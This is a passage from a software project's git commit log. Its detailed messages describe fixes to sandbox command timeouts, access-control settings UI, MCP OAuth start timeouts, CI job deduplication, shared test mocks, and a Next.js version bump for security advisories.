awaited getSessionCommandLogs with no bound, so a hung command never timed out
the way E2B's commands.run({ timeoutMs }) does. Race the log stream against the
timeout; on expiry return exit 124 with the accumulated output, and the finally's
deleteSession terminates the still-running command.
- Two user-facing strings still named E2B after the provider-neutral rename (the
isolated-vm sandboxPath remediation and the disabled-xlsx message). Made both
provider-neutral.
Adds a streaming-timeout conformance test.
* fix(sandbox): handle orphaned stream promise + preserve error detail
Two regressions from the previous timeout fix:
- When the timeout won the race, the abandoned getSessionCommandLogs promise
would reject on deleteSession with no handler (unhandledRejection). Attach a
.catch that records the error and yields an 'error' outcome, so a late
rejection is always handled.
- The streaming catch dropped the thrown error, so failures before any chunks
(env write, executeSessionCommand, missing cmdId) surfaced as empty output.
Fall back to getErrorMessage(error) when nothing streamed.
Adds conformance tests for the stream-reject and start-throw paths.
|
||
|
Waleed
|
3796e9db4f |
improvement(access-control): edit group details, filter by status, and colocate chat deploy auth (#5902)
* improvement(access-control): editable group details, status filters, block tooltips, chat auth colocation - General tab gains editable Name and Description fields wired into the existing dirty buffer, so the header Save/Discard chips and the unsaved-changes guard cover them. Save only sends changed fields and surfaces the route's duplicate-name 409. - Blocks, Model Providers, and Platform tabs gain an All/Enabled/Disabled filter beside their search field, evaluated against the editing buffer. - Every block row carries an Info badge with the block's description. The badge sits outside the label/expand button so it never toggles the row. - The chat deploy toggle moves out of Deploy Tabs into the Chat section alongside its allowed-auth-modes dropdown, mirroring the Files section. * improvement(access-control): polish group detail filters, tooltips, and details fields Follows the cleanup review: - reconcile the post-save baseline from the server response instead of local values, matching the scope/default writes - pin the status-filter dropdown width so the search field stops resizing - restore flex-1 on the block-name button and move the row hover surface to the wrapper so Info badges align in a column - add empty states for filter-empty lists and neutralize Select All there - surface a 'Name is required' message next to the disabled Save - align hint text on the field-hint tokens and drop a redundant TSDoc * refactor(access-control): keep chat and files toggles in the platform registry The first pass pulled hideDeployChatbot out of the declarative platformFeatures array and hand-rolled a Chat section beside the existing bespoke Files one. That forfeited search, status filtering, Select All, category grouping and the Info hint, and the replacement platformSectionVisible re-implemented two of those with different semantics — searching 'deploy' or 'deployment' hid the very control named Deployment, and Select All silently skipped both toggles. Both toggles are now ordinary registry entries under their own Chat and Files categories, with an id-keyed featureExtras map supplying the nested auth-mode dropdown. Search, filtering, Select All, hints and the empty state are correct by construction, and the parallel filter pipeline is gone. Also from the review: - index the allow-lists into Sets so per-row membership checks are O(1) - split the search and status passes so the common 'all' filter returns the searched list by reference and a checkbox toggle no longer re-sorts ~180 rows - extract StatusFilterChip and AuthModeField instead of stamping out the dropdowns three and two times - derive nameChanged/descriptionChanged once instead of repeating the comparisons in the save payload - lock the config key-order invariant the dirty check depends on with a test * polish(access-control): apply the second cleanup round - indent the nested auth-mode field so it lines up under its toggle's label instead of reading as a sibling row, and label the dropdown for screen readers - order Chat right after Deploy Tabs so the three deploy targets stay adjacent - flush the trailing Select All chips on the providers and platform rows - drop the doubled margin on the name error (SettingRow already gaps it) - hoist PLATFORM_FEATURES and PLATFORM_CATEGORY_ORDER to module scope - drop the useCallback on the two save/discard handlers; nothing observes their identity and their deps changed on every keystroke anyway - fix a comment that still pointed at a 'Hide Chat' toggle that no longer exists * fix(access-control): keep the block disclosure chevron inside its toggle button Splitting the chevron out so the Info badge could sit beside the name left the chevron with no click handler — the visible expansion affordance did nothing. It goes back inside the button; Info stays outside it, since an Info trigger is itself a button and cannot nest. * chore(access-control): use structuredClone in the config key-order test check:utils bans JSON.parse(JSON.stringify(...)). The clone only needs to hand the schema a distinct object; structuredClone preserves key order the same way. * fix(access-control): trim descriptions so a padded value can't wedge the form descriptionChanged compared a trimmed draft against the raw saved description, so a group whose stored description carried padding opened dirty and could never be cleared — Discard restored the same padded string, and the unsaved-changes guard then blocked navigation until a save rewrote it. The contract now trims description on create and update, matching what name already did, and the dirty check trims both sides so existing padded rows behave too. * improvement(access-control): seed the description buffer trimmed Keeps the editing buffer and the dirty baseline normalized the same way, so a legacy row with padding no longer shows stray whitespace in the input and the buffer never round-trips padding a save would strip anyway. * fix(emcn): forward aria-label/aria-labelledby from ChipDropdown to its trigger ChipDropdown destructures only its known props, so an aria-labelledby passed by a consumer never reached the trigger button — AuthModeField's wiring to its visible label was silently dropped and the control had no accessible name. Both attributes are now explicit, typed props forwarded to the trigger. Kept as two named props rather than a rest spread so the component still owns its chrome and consumers can't smuggle arbitrary attributes onto the button. * fix(access-control): correct the nested field indent, platform row hover, and aria name - aria-labelledby REPLACES the content-derived name, so naming the auth-mode dropdown with its caption alone dropped the selected value from the accessible name — worse than no attribute. It now references caption + trigger, which needed ChipDropdown to forward id as well. - The nested field's pl-[30px] assumed a 14px checkbox; the default is 16px, so the caption sat 2px left of the label it hangs under while the dropdown (not flush, so mx-0.5) sat at 32. Both are pl-8 + flush now. - Platform feature rows kept their hover surface on the label, so the highlight stopped 20px short of the row edge while the Blocks tab ran flush. Moved to the wrapper, matching the core-blocks cell. - Split the platform search and status passes like the provider and block lists, so a toggle no longer recomputes three chained memos. - Dropped an unreachable allLabel and a comment that would go stale on merge. * fix(access-control): trim the name comparison the same way as description nameChanged compared a trimmed buffer against an untrimmed baseline — the exact asymmetry already fixed for description. A group stored before the name schema gained .trim() opens permanently dirty: Save/Discard visible and the unsaved-changes modal firing on back, until a save rewrites it. Both buffers now seed trimmed and compare trimmed on both sides. Also dims the Info badge along with the row it belongs to when the block is disallowed. |
||
|
Waleed
|
78fb2c0679 |
chore(deps): bump next to 16.2.11 to clear security advisories (#5890)
* chore(deps): bump next to 16.2.11 to clear security advisories Patches SSRF, cache confusion, DoS, and middleware-bypass advisories (GHSA-89xv-2m56-2m9x et al.) affecting next < 16.2.11 across apps/sim, apps/docs, and packages/emcn. Excludes next/@next/env from the minimum-release-age gate until the 7-day window elapses on 2026-07-28. * chore(deps): drop aged-out typescript entries from release-age excludes typescript and @typescript/typescript6 passed the 7-day minimum-release-age gate (aged out 2026-07-15 and 2026-07-13), so their exclusions are no longer needed. Keeps @typescript/native-preview (permanent nightly builds) and the Pi packages (age out 2026-07-24). |
||
|
Theodore Li
|
0199508706 | fix(custom-blocks): stop image icons blowing up on class-sized surfaces (#5878) | ||
|
Waleed
|
227cd65f41 |
fix(mcp): bound and retry OAuth start so a transient stall recovers instead of a blank popup (#5874)
* fix(mcp): bound and retry OAuth start so a transient stall recovers instead of a blank popup Empirically root-caused a blank/stuck authorize popup: the provider (planetscale) and our guarded OAuth fetch are both fast (120/120 legs clean from staging), and /oauth/start uses local AES encryption with no Redis lock in its path — so the intermittent hang is the same transient headers-then-stalled-body class we've documented for CDN-fronted MCP hosts (a per-connection stall a fresh attempt dodges), which /oauth/start had no server-side bound against. - Bound every /oauth/start step with the shared timedStep helper (extracted from the callback route, now used by both) + an entry log, so a stalled step surfaces as a labeled error instead of hanging the request (and the browser popup) to the client's 30s timeout. - Retry mcpAuthGuarded once on a bounded 12s timeout: a fresh attempt gets a fresh connection and recovers from the transient stall automatically (two 12s attempts stay under the client's 30s deadline). McpOauthRedirectRequired (the success signal) and DCR-unsupported errors are never retried. Adds OauthStepTimeoutError + makeTimedStep to the shared oauth barrel and test mocks. * fix(mcp): drop the unsafe OAuth-start retry; fail fast without error-logging success Review fixes on the bound+retry change: - Removed the mcpAuthGuarded auto-retry. timedStep can't cancel the loser, so a lingering first attempt shares this server's OAuth row and could overwrite the retry's PKCE verifier / state after the client already got the second authorize URL, breaking the callback. Recovery is now fail-fast (504) → the user re-clicks, which is a clean fresh flow (fresh connection dodges the transient stall) with no shared-state race. - Catch McpOauthRedirectRequired (the success signal) INSIDE the bounded step and return it as a value, so a successful authorize is no longer error-logged as 'OAuth step failed'. - Tighten step budgets (5s DB x3 + 12s auth = 27s) to stay under the client's 30s /oauth/start deadline. * fix(mcp): route all bounded-step timeouts to the 504 handler Move OauthStepTimeoutError handling to the outer catch so a DB-step timeout (loadServer/getOrCreateOauthRow/loadPreregisteredClient) returns the same fast 504 'try again' as the auth step, not a generic 500. Documents that the fresh retry is race-safe: the callback correlates on the state nonce, so a lingering timed-out attempt overwriting the row's state only yields a clean invalid_state on the user's fresh authorize URL — never silent corruption. * fix(mcp): bound the setOauthRowUser write too so no step escapes the budget The user-stamp write was the one DB op left unbounded on the start path; wrap it in timedStep(DB_STEP_MS) so every step stays inside the sub-30s budget and its timeout routes to the same 504. * fix(mcp): shrink OAuth-start step budgets to fit the 30s client deadline with 4 DB steps Bounding setOauthRowUser added a fourth possible DB step, so 4x5+12=32s exceeded the client's 30s /oauth/start abort. Lower DB steps to 4s and auth to 10s: 4x4+10=26s worst case, leaving margin for middleware/network. Comment corrected. |
||
|
Waleed
|
dda602a367 |
improvement(tests+ci): phase 3 — shared-mock convergence completion and CI runner-minute cuts (#5875)
* chore(ci): cut redundant runner minutes — dedup promotion-PR test runs, companion-pr-check concurrency, right-size trivial jobs
- ci.yml: new dedup-promotion gate skips the pull_request test-build on
staging/main-headed promotion PRs only when the merge tree provably equals
the head tree (empty base delta over the merge base) AND the push-event run
at the same sha passed its test jobs (polled). Fail-open on any error/
timeout/failure, job-level skip only (skipped job reports Success); verified
no required status checks are configured on main/staging rulesets.
Measured 39 duplicate PR runs / 5.15 days (~227/mo) at ~7.1 min each on
8vcpu (~57 vcpu-min), probe costs ~9 vcpu-min worst case on 2vcpu.
- companion-pr-check.yml: per-PR concurrency group with cancel-in-progress so
superseded synchronize/edit runs stop; no paths filter (check depends on PR
body + cross-repo state, not changed files).
- detect-version and check-docs-changes: 4vcpu -> 2vcpu Blacksmith runners
(pure shell / depth-2 checkout + path filter only).
* improvement(testing): complete stateful shared mocks for env, urls, redis-config, environment-utils
Shared mock infrastructure for vitest isolate:false convergence:
- packages/testing/src/mocks/env.mock.ts: stateful envMock (live env proxy, setEnv/resetEnvMock, process.env fallback)
- packages/testing/src/mocks/urls.mock.ts: complete urlsMock with real-behavior default impls + resetUrlsMock
- packages/testing/src/mocks/redis-config.mock.ts: adds getRedisConnectionDefaults + resetRedisConfigMock
- packages/testing/src/mocks/environment-utils.mock.ts: new environmentUtilsMock + fns + reset
- contract tests: env.mock.test.ts, urls.mock.test.ts, redis-config.mock.test.ts, environment-utils.mock.test.ts
- packages/testing/src/mocks/index.ts: barrel exports
- apps/sim/vitest.setup.ts: global installs for env, urls, redis, environment/utils
- real-module tests unmocked: lib/core/config/env.test.ts, lib/core/config/redis.test.ts, lib/core/utils/urls.test.ts, tools/index.test.ts (urls)
- stubEnv/process.env fallout migrated to setEnv: lib/webhooks/providers/{revenuecat,rootly,instantly}.test.ts, app/api/auth/oauth2/authorize/route.test.ts
* improvement(tests): drop redundant local mocks in executor/tools/providers and misc dirs (shared-worker readiness)
* improvement(tests): drop redundant local mocks in app routes (shared-worker readiness)
* improvement(tests): drop redundant local mocks in lib (shared-worker readiness)
* fix(ci+testing): live base-tip recheck before dedup skip; prod-aware urls mock fallbacks
- the dedup gate re-verifies merge-tree equivalence against the LIVE base
tip at decision time, closing the window where the base branch gains real
commits during the poll (frozen BASE_SHA check alone was stale)
- the urls mock's getBaseUrl protocol prefix and getBaseDomain parse
fallback now follow the shared isProd flag, mirroring the real module
* fix(ci+testing): fail-closed nojobs fallback in dedup gate; TLS-aware redis defaults mock
- the dedup gate no longer infers coverage from overall run conclusion when
no 'Test and Build /' jobs match — a renamed or skipped test job now runs
the tests instead of skipping them
- the shared getRedisConnectionDefaults mock mirrors the real TLS resolution
(rediss:// to a raw IP requires REDIS_TLS_SERVERNAME and yields
tls.servername)
* fix(ci): keep polling while nested test jobs have not appeared yet
An in-progress push run lists its reusable-workflow jobs only after the
caller starts; nojobs is now terminal (fail closed) only once the run has
completed without them.
|
||
|
Waleed
|
9d8e14ce9f |
improvement(tests): converge env-flags mocks onto a complete shared mock (#5871)
* improvement(tests): converge env-flags mocks onto a complete shared mock
* fix(tests): drop the repo's only bare vi.mock automock
A bare vi.mock('drizzle-orm') automock colliding with factory mocks of the
same module in a shared worker corrupts vitest's mock registry (upstream
vitest-dev/vitest#10290 / #10145, reproduced in isolation). The global
factory mock already covers this suite.
* chore(tests): drop defensive resets in non-mutating suites, merge sequential setEnvFlags calls
* fix(tests): run providers/utils cases sequentially over shared env-flags state
|